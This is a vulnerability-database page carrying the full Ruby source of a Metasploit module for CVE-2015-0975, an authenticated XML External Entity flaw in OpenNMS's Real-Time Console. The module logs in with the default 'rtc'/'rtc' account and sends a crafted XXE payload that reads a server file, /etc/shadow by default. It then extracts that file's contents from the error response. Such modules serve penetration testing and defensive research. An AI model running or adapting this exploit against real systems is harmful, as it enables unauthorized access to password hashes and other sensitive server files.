Lucene search
+L

OpenNMS Authenticated XXE

🗓️ 08 Jan 2015 00:00:00Reported by Stephen Breen <[email protected]>, Justin Kennedy <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 38 Views

OpenNMS vulnerability to XML External Entity Injection in Real-Time Console interface

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2015-0975
29 May 201815:50
circl
cve
CVE
CVE-2015-0975
6 Feb 202503:13
cve
euvd
EUVD
EUVD-2015-7754
7 Oct 202500:30
euvd
nessus
Tenable Nessus
Juniper Junos Space < 15.1R1 Multiple Vulnerabilities (JSA10698)
23 Jun 201600:00
nessus
ncsc
NCSC
Vulnerabilities fixed in Juniper Junos Space
19 Apr 202100:00
ncsc
openvas
OpenVAS
Juniper Networks Junos Space Multiple Vulnerabilities (JSA10698)
16 Oct 201500:00
openvas
openvas
OpenVAS
OpenNMS < 14.0.3 Multiple Vulnerabilities
4 Nov 201500:00
openvas
packetstorm
Packet Storm
OpenNMS Authenticated XXE
31 Aug 202400:00
packetstorm
prion
Prion
Default credentials
16 Oct 201520:59
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenNMS Authenticated XXE',
        'Description' => %q{
          OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
          Although this attack requires authentication, there are several factors that increase the
          severity of this vulnerability.

          1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
          core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
          ports or generate network traffic that requires root"

          2. The user that you must authenticate as is the "rtc" user which has the default password of
          "rtc". There is no mention of this user in the installation guides found here:
          http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
          admin password of "admin" for security purposes.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Stephen Breen <breenmachine[at]gmail.com>', # discovery
          'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
        ],
        'References' => [
          ['CVE', '2015-0975']
        ],
        'DisclosureDate' => '2015-01-08',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8980),
        OptBool.new('SSL', [false, 'Use SSL', false]),
        OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
        OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
        OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
        OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
      ]
    )
  end

  def run
    print_status("Logging in to grab a valid session cookie")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
      'vars_post' => {
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'Login' => 'Login'
      },
    })

    if res.nil?
      fail_with(Failure::Unreachable, "No response from POST request")
    elsif res.code != 302
      fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
    end

    unless res.headers["Location"].include? "index.jsp"
      fail_with(Failure::NoAccess, 'Authentication failed')
    end

    cookie = res.get_cookies

    print_status("Got cookie, going for the goods")

    rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
    rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
    rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
    delimiter = SecureRandom.uuid

    xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE #{rand_doctype} [
    <!ELEMENT #{rand_entity1} ANY >
    <!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
    ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^

    res = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
      'data' => xxe,
      'cookie' => cookie
    })

    # extract filepath data from response
    if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
      result = $1
      print_good("#{result}")
    else
      fail_with(Failure::Unknown, 'Error fetching file, try another')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation